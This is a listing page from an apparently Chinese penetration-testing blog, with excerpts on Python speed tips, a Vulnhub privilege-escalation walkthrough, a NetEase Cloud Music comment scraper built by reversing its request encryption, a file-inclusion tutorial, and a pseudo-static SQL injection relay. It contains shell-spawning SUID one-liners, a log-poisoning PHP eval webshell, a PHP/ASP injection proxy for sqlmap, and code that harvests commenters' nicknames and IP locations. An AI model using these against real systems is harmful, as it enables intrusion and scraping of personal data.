首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,853 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
5
篇与
的结果
2026-06-25
Python很慢?这十个方法让你的代码执行速度提升3倍!
前言Python,作为一种动态类型的解释性语言,确实在执行速度上可能不如C这样的静态类型的编译语言。但是,通过一些技巧和策略,我们可以显著提升Python代码的性能。本文将探讨如何通过优化方法使Python代码运行得更快、更高效。我们将利用Python的timeit模块来精确测量代码的执行时间。注意:timeit模块在默认情况下会重复执行代码一百万次,以确保测量结果的准确性和稳定性def print_hi(name): print(f'Hi, {name}') if __name__ == '__main__': # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit()如何计算Python脚本的运行时间呢?在time模块中time.perf_counter()提供了一个高精度的计时器,适合测量短时间,例如import time # 记录程序开始时间 start_time = time.perf_counter() # 你的代码逻辑 # ... # 记录程序结束时间 end_time = time.perf_counter() # 计算程序运行时间 run_time = end_time - start_time print(f"程序运行时间:{run_time} 秒")介绍一、I/O密集型操作I/O密集型操作(Input/Output Intensive Operation)指的是那些在执行过程中,大部分时间都花在等待输入/输出操作完成的程序或任务。I/O操作包括从磁盘读取数据、写入数据到磁盘、网络通信等。这些操作通常涉及到硬件设备,因此它们的执行速度受到硬件性能和I/O带宽的限制。他们的特点有:\1. 等待时间:程序在执行I/O操作时,往往需要等待数据从外部设备传输到内存,或从内存传输到外部设备,这会导致程序的执行被阻塞。\2. CPU利用效率:由于I/O操作的等待时间,CPU在这段时间内可能处于空闲状态,导致CPU利用率不高。\3. 性能瓶颈:I/O操作的速度往往成为程序性能的瓶颈,尤其是在数据量大或传输速度慢的情况下。例如,使用I/O密集型操作print,运行一百万次import time import timeit def print_hi(name): print(f'Hi, {name}') return if __name__ == '__main__': start_time = time.perf_counter() # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间:{run_time} 秒")运行结果为3s而不使用i/o操作执行一个方法,即调用这个print_hi('xxxx')空方法,不使用print(),程序明显快了不少def print_hi(name): # print(f'Hi, {name}') return如果代码中必要的时候,例如文件读写,可以使用如下方法提高效率异步I/O:使用异步编程模式例如asyncio,允许程序在等待I/O操作完成时继续执行其他任务,从而提高CPU利用率。缓冲:使用缓冲区暂存数据,减少I/O操作的频率。并行处理:并行执行多个I/O操作,以提高整体的数据处理速度。优化数据结构:选择合适的数据结构,减少数据的读取和写入次数。二、使用生成器生成列表、字典在Python 2.7及其后续版本中,引入了对列表、字典和集合生成器的改进,这些改进让数据结构的构建过程更加简明和高效。1、传统方法def fun1(): list=[] for i in range(100): list.append(i) if __name__ == '__main__': start_time = time.perf_counter() t = timeit.Timer(setup='from __main__ import fun1', stmt='fun1()') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间:{run_time} 秒") # 输出结果:程序运行时间:3.3872999000595883 秒2、使用生成器优化代码注:为了方便以下内容皆省略主函数main的代码部分def fun1(): list=[ i for i in range(100)] # 程序运行时间:2.1053185999626294 秒从上述的推导式程序中可以看出,除了理解更简洁、更容易阅读之外,它也更快。这使得此方法成为生成列表和循环的首选方法。三、避免字符串连接,使用join()join() 是一个字符串方法,在Python中用于将序列中的元素连接(或拼接)成一个字符串,通常使用特定的分隔符。他的优点通常为:\1. 效率高:join() 是连接字符串的高效方法,尤其是当处理大量字符串时,它通常比使用 + 操作符或 % 格式化更快,在连接大量字符串时,join() 方法通常比逐个连接更节省内存。\2. 简洁性:join() 使得代码更加简洁,避免了重复的字符串连接操作。\3. 灵活性:可以指定任何字符串作为分隔符,这为字符串拼接提供了极大的灵活性。\4. 广泛的用途:不仅可以用于字符串,还可以用于列表、元组等序列类型,只要元素可以被转换成字符串。举例:def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] s="" for i in obj: s+=i # 程序运行时间:0.3610708999913186 秒使用 join() 来实现字符串拼接:def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] "".join(obj) # 程序运行时间:0.18804279994219542 秒使用join()将函数的执行时间从0.36秒减少到0.18秒。四、使用Map代替循环在多数场景中,传统的for循环可以被更为高效的map()函数所替代。map()*是一个Python内置的*高阶函数,它能够将指定的函数应用于各种可迭代的数据结构,如列表、元组或字符串。使用map()的主要优势在于,它提供了一种更为简洁且高效的数据处理方式,避免了编写显式的循环代码。传统的循环方式:def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] new = [] for i in arr: new.append(i) # 程序运行时间:0.31288250000216067 秒使用map()函数做相同的功能:def fun2(x): return x def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] map(fun2,arr) # 程序运行时间:0.18387670000083745 秒对比之后,使用map()节省了将近一半的时间,大大提升了运行效率五、选择正确的数据结构选用恰当的数据结构对提升Python代码的执行效率至关重要。各类数据结构都针对特定操作进行了优化,合理选择能够加速数据的检索、添加和移除过程,进而增强程序的整体运行效能。例如,判断容器内的元素的时候,字典的查找效率高于列表,但是是在大量数据的情况下,少量数据恰恰相反# 使用少量数据进行测试 def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] 'hello' in arr 'my' in arr # 程序运行时间:0.11527379998005927 秒 def fun1(): arr={"hello", "my", "name", "is", "xiaoyu", "!"} 'hello' in arr 'my' in arr # 程序运行时间:0.17057139997836202 秒 # 使用 numpy 进行随机生成100个整数 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间:14.48330469999928 秒 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间:13.411826699972153 秒看到了在少量数据的情况下list执行效率是要大于dict的,但是在大量数据的情况下,dict的效率大于list如果有频繁的新增、删除操作,新增、删除的元素数量又很多时,list的效率不高。此时,应该考虑使用collections.deque。collections.deque是双端队列,同时具备栈和队列的特性,能够在两端进行 O(1)复杂度的插入和删除操作。collections.deque的使用from collections import deque def fun1(): arr=deque()# 创建一个空的deque for i in range(1000000): arr.append(i) # 程序运行时间:0.05507110000002058 秒 def fun1(): arr=[] for i in range(1000000): arr.append(i) # 程序运行时间:0.06128990000001977 秒list的查找操作也非常耗时。当需要在list频繁查找某些元素,或频繁有序访问这些元素时,可以使用bisect维护list对象有序并在其中进行二分查找,提升查找的效率。六、避免不必要的函数调用在Python编程中,优化函数调用次数对于提升代码效率至关重要。过多的函数调用不仅增加了开销,还可能消耗额外的内存,从而拖慢程序的运行速度。为了提升性能,我们应尽量减少不必要的函数调用,并尝试将多个操作合并成一个,以此来减少执行时间和资源消耗。这样的优化策略有助于我们编写更高效、更快速的代码。七、避免不必要的import虽然Python的import语句相对较快,但每个import都会涉及到查找模块、执行模块代码(如果还没有被执行过)、并将模块对象放入到当前命名空间中。这些操作都需要一定的时间和内存。当你不必要地导入模块时,就会增加这些开销。八、避免使用全局变量import math size=10000 def fun1(): for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间:15.630933800013736 许多程序员刚开始会用 Python 语言写一些简单的脚本,当编写脚本时,通常习惯了直接将其写为全局变量,例如上面的代码。但是,由于全局变量和局部变量实现方式不同,定义在全局范围内的代码运行速度会比定义在函数中的慢不少。通过将脚本语句放入到函数中,通常可带来 15% - 30% 的速度提升。import math def fun1(): size = 10000 for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间:14.933845699997619 秒九、避免模块和函数属性访问import math # 不推荐写法 def fun2(size: int): result = [] for i in range(size): result.append(math.sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间:10.154493000009097 秒每次使用.(属性访问操作符时)会触发特定的方法,如__getattribute__()和__getattr__(),这些方法会进行字典操作,因此会带来额外的时间开销。通过from import语句,可以消除属性访问。from math import sqrt # 推荐写法:用到哪个模块就导哪个模块 def fun2(size: int): result = [] for i in range(size): result.append(sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间:8.960758000030182 秒十、减少内层for循环的计算import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): for y in range(size): z = sqrt(x) + sqrt(y) # sqrt() 求非负实数的平方根 # 程序运行时间:14.267008299939334 秒在上面代码中sqrt(x)位于内测for循环,每次循环都会重新计算,增加不必要的时间开销import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): sqrt_x=sqrt(x) # 在外层for循环进行计算 for y in range(size): z = sqrt_x + sqrt(y) # 程序运行时间:8.499037600005977 秒总结通过这些方法,我们可以有效地提高Python代码的性能,使其在处理复杂任务时更加快速和高效。记住,性能优化是一个持续的过程,需要根据具体情况不断调整和改进,python运行速度的优化方法不限于以上方法,还有很多,如有大佬路过,请多指教。
2026年06月25日
190 阅读
0 评论
0 点赞
2025-08-14
Vulnhub-Toppo靶机,python、awk的SUID提权,两种提权方式
vulnhub-Toppo靶机,SUID提权这个靶机主要是suid提权,相对简单,靶机下载:官网链接:https://download.vulnhub.com/toppo/Toppo.zip使用nmap和dirb进行web打点nmap -sS 10.10.10.222 -p- -A -T4dirsearch -u http://10.10.10.222/web识别,是一个普通的html页面whatweb http://10.10.10.222/发现了一个密码信息 12345ted123我们猜测账号就是那串密码夹着中间的英文ted登录成功之后就是内网渗透,我们使用FeatherScan进行内网信息收集git clone https://github.com/baibaixiaoyu2024/FeatherScan.gitcd FeatherScan_v4_5_python -m http.server# 靶机wget 10.10.10.130:8000/FeatherScan_v4_5wget 10.10.10.130:8000/feather_vuln_db.txtchmod +x FeatherScan_v4_5./FeatherScan_v4_5发现提权漏洞得到两个提权向量,两个命令都可以用awk 'BEGIN {system("/bin/sh")}'python -c 'import os; os.execl("/bin/sh", "sh", "-p")' # 靶机没有sh就用bash替换至此提权成功!很简单吧
2025年08月14日
1,305 阅读
0 评论
0 点赞
2025-05-18
python爬虫,网易云js逆向代码分析
前言本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!阅读本篇文章,需要一定的爬虫基础,和js逆向思维,否则无法继续首先找到一个歌单找到这个api接口api传参为这两个找到启动器发现这两个参数和刚刚api接口是一模一样的,那么大概率源码就在这里打断点,分析加密参数刷新页面,已经卡在这里了分析每个api参数X1x为后端api地址i1x为csrf_tokene1x为请求方式,该值为post我们的目标是抓取歌单评论信息,一直放行,直到这个接口分析这个参数,如下分析rid:A_PL_0_3865036,这后面的就是歌单id,threadId:A_PL_0_3865036,后面也是歌单id信息,后面的参数基本没用了,页面大小,偏移量和歌单属性那么就可以得到python代码向后端传的参数为这个def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data=data, headers=headers) print(resp.text) 但是呢没有任何响应结果,说明参数加密了 对比源参数即可看到,这些值都是乱码,显然是进行了加密的那么就要找js的加密节点,怎么找?回到这个界面把这段代码复制下来仔细分析var bVi3x = window.asrsea(JSON.stringify(i1x), bse0x(["流泪", "强"]), bse0x(Qu1x.md), bse0x(["爱心", "女孩", "惊恐", "大笑"])); 分别对应如下值这里我们就得到了每个参数的值使用变量进行替换# 服务于函数d g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) 再放行,找到加密节点鼠标移动到这里,即可看到,使用了一个方法,方法名称叫 d即可看到这样一串代码贴上源码!function() { function a(a) { var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = ""; for (d = 0; a > d; d += 1) e = Math.random() * b.length, e = Math.floor(e), c += b.charAt(e); return c } function b(a, b) { var c = CryptoJS.enc.Utf8.parse(b) , d = CryptoJS.enc.Utf8.parse("0102030405060708") // AES加密算法中需要的偏移量 , e = CryptoJS.enc.Utf8.parse(a) , f = CryptoJS.AES.encrypt(e, c, { iv: d, mode: CryptoJS.mode.CBC }); return f.toString() } function c(a, b, c) { var d, e; return setMaxDigits(131), d = new RSAKeyPair(b,"",c), e = encryptedString(d, a) } function d(d, e, f, g) { var h = {} , i = a(16); return h.encText = b(d, g), h.encText = b(h.encText, i), h.encSecKey = c(i, e, f), h } function e(a, b, d, e) { var f = {}; return f.encText = c(a + e, b, d), f } window.asrsea = d, window.ecnonasr = e }(); 仔细分析AES加密特征,打断点放行打印这些值此时即可得到参数 i ,如果你多次执行就会发现这个 i 值是变化的,调用的是a函数传了个16a 函数这就是一个随机计算结果,可以直接定死而 i 已经定死了,i = "2l8EuJuvLirixMmc" ,这里我执行了第二遍,就用我第二遍的 i 值,得到了已有的值g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 偏移量之前已经在js代码的b函数找到了,这张图就可以很清楚的看到解密后的值就是 h.encText 的值发现这个函数是RSA加密,我们已经得到了这个值,由上图可以看到,i 值为偏移量,e为 010001,f 未知,那么就先放一放查看这个参数,断点记得放行查看值这样就能得到encSecKey的值,分析得到python逆向代码def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密,相当于 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): # pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): # 相当于js中的b(a, b)函数 iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 此时将刚刚没有任何结果的代码进行传参即可,半成品代码如下import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 设置好已知的值 g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) if __name__ == '__main__': get_data() 完整数据清洗后的代码import random import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 服务于函数d g = "0CoJUm6Qyw8W8jud" f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) dict = json.loads(resp.text) # 将得到的内容转化为字典模式 user_obj = dict['data']['hotComments'] comment_data = [] comment_sum = dict['data']['totalCount'] if not user_obj: user_obj = dict['data']['comments'] for _ in user_obj: content = _['content'] nickname = _['user']['nickname'] photo = _['user']['avatarUrl'] timeStr = _['timeStr'] like_count = _['likedCount'] addres = _['ipLocation']['location'] list = { 'nickname': nickname, 'content': content, 'photo': photo, 'timeStr': timeStr, 'addres': addres, 'like_count': like_count, 'com_count': comment_sum } comment_data.append(list) print(comment_data) if __name__ == '__main__': get_data() 得到评论结果其他api接口也是如此,还可以搞一个扫码登录的,下面是我23年8月写的项目项目推荐这是我写的一个完整的爬虫django项目,集成了网易云扫码登录,歌单信息,歌曲/歌单评论,歌单收藏,歌曲播放等等运用了aiohttp异步爬虫,requests库,IP池,线程池,redis,中间件mysql数据库,等等等等,项目仅供学习使用,严禁商业用途!!!!记得点个关注,感谢扫码登录网易云首页我的首页歌单列表源列表评论歌曲播放效果。。。。。。。总结本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!,重要的事儿说三遍!!!
2025年05月18日
1,184 阅读
0 评论
0 点赞
2025-05-18
从零开始学习文件包含
从零开始学Web安全,文件包含漏洞详解大家好,我是[小羽],一个对网络安全充满热情的小白。今天,我将与大家分享我的网络安全中的Web安全学习笔记什么是文件包含漏洞?,这里很详细的介绍了Sql注入的各种类型防御的方法。靶场:dvwa,pikachu服务器:centos7数据库:mysql5.7php:8.0nginx:1.24什么是文件包含漏洞?概述和sql注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,让服务端执行。包含:把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员有没有对要包含的文件进行安全考虑,攻击者就可以通过构造恶意的文件路径参数来执行任意的代码。常见的文件包含漏洞有两种类型: 本地文件包含(Local File Inclusion):LFI本地文件包含漏洞是指攻击者能够利用应用程序的漏洞,直接访问并执行服务器上的文件。 远程文件包含(Remote File Inclusion):攻击者能通过将一个远程文件包含到应用程序中来执行任意代码,这种漏洞通常存在在于动态包含外部资源的代码中。 攻击者可以利用文件包含漏洞来执行一系列攻击,比如读取敏感文件、执行恶意代码、获取数据库信息等。以PHP为例,常用的文件包含函数有以下四种 函数 描述 特点 require() 找不到被包含的文件会产生致命错误,并停止脚本运行 在一开始就加载 include() 找不到被包含的文件只会产生警告,脚本继续执行 在用到时加载 include_once() 如果该文件的代码已经被包含,则不会再次包含 与include()类似 require_once() 如果该文件的代码已经被包含,则不会再次包含 require()类似 漏洞利用过程一、本地文件包含漏洞(LFI)php代码示例:<?php $file=$_GET(['filename']); include($file) ?>python代码示例:file=request.GET.get('filename')#django with open(filename,mode='r') as f: print(f.read())我们可以利用文件包含读取到一些其他文件,甚至可以读取一些系统的敏感信息如系统的配置器文件:C:Windowssystem.ini文件(很危险)DVWA首先在我们centos系统中根目录创建一个demo1.txt写入'you are very good hacker!'进入dvwa靶场File Inclusion点击任意文件后,观察到url的变化为文件名称的变化 使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt漏洞利用成功!此时也可直接读取系统配置文件例如hostsPiKaChu选择下拉框任意选项,分析url,找到文件名称如下图 使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt注意:在文件包含漏洞中通常配合文件上传使用二、远程文件包含漏洞远程文件包含漏洞就是在不同ip/域名之间进行文件包含操作,需要将php.ini中的allow_url_include = On打开,如下图比如这里有一个远程文件:https://xiaoyus.cc/license.txt漏洞利用成功!三、包含Apache/Nginx日志文件有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。我们通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问历史:注意:需要开启服务器记录日志功能<?php phpinfo();?>日志访问成功但是我们发现了日志使用的是url编码,而不是完整的php代码这里我们就需要使用到抓包工具burp suite进行请求拦截,然后修改参数值为完整的php代码查看日志,日志写入成功接下来利用文件包含漏洞访问日志的文件地址我这里是www/server/nginx/logs/access.log日志文件注入成功!让访问日志文件记录下写入文件脚本代码:<?php $file=fopen('test1.php','w'); fputs($file,'<?php @eval($_POST[666]);?>'); ?>访问内容修改: 可以看见日志文件写入成功 对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功:查看源文件,也可以看到创建成功 此时就可以使用蚁剑进行连接获取webshell如何避免?一、设置白名单代码在进行文件包含时,如果文件名称可以确定,可以设置白名单对传入的参数进行比较。PHP验证源码示例:<?php $file_list=[ //声明一个变量,用于存放白名单; 'framework/init.php', 'framework/route.php', 'framework/event.php', ]; $file= $_REQUEST['file']; //声明一个变量,用于接收传递过来的文件信息; if (in_array($file, $file_list)){ //把传递过来的文件信息和白名单里面的文件进行对比; include "$file"; //如果传递过来的文件是白名单里面的文件,就对它进行文件包含; } ?>python验证源码示例:file_list=[ 'framework/init.php', 'framework/route.php', 'framework/event.php', ] file=requests.GET.get('file') if file in file_list: with open(file,mode='r') as f: content=f.read() print(content) else: print('该文件不在许可范围内')二、过滤危险字符由于Incbude/Require可以对PHP Wrapper(包装器)形式的地址进行包含执行(需要配置php.ini)在linux环境中可以通过"../../"的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。验证源码示例:$pattern= "#^[a-z][a-z0-9+.]*:?//#i"; if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){ include "$file"; }python源码示例:import re import os parttern='"#^[a-z][a-z0-9+.]*:?//#i' def include_file(filename): if filename.endswith('.php') and '..' not in filename and not re.search(pattern,filename(): with open(filename,'r') as f: file=f.read() print(file) include_file('demo.php')四、设置文件目录PHP配置文件中又open_basedir选项可以设置用户需要执行的文件内目录,如果设置目录的话,PHP仅仅在该目录内进行文件搜索,而不会去搜索其他文件四、关闭危险配置PHP中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任及其不确定性,在开发中禁止打开次此选项,PHP默认是关闭的。五、最小权限原则做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化感谢!原文地址https://mp.weixin.qq.com/s/0Ayr8cp5nxti787c1sg54g
2025年05月18日
1,836 阅读
0 评论
0 点赞
2025-05-18
伪静态注入总结
伪静态注入的总结伪静态页面渗透在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能判断方法在浏览器里控制台(console),输入代码或粘贴js代码alert(document.lastModified); 回车执行,会弹出一个弹窗。重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,如果发现时间不同则可以判断它是伪静态。如果是伪静态页面,可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态,从地址上你是可以看到转递参数的,比如phpweb,它的链接是这样的:news/?123.html,这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。(伪静态中转注入总结:博客园地址)入侵的大概思维方式对搜索框进行测试(注入测试) 对登录处进行测试(万能密码、注入) 对站点进行目录扫描(发现其他突破口) 从C段下手一:中转注入法1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了http://www.xxx.com/news.php/id/1.html2.测试步骤:中转注入的php代码:inject.php<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?> 3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1通过sqlmap或者havj可以跑注入漏洞。附录ASP中转代码:<strong><font style="font-size: 12pt"><code id="code1"><% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 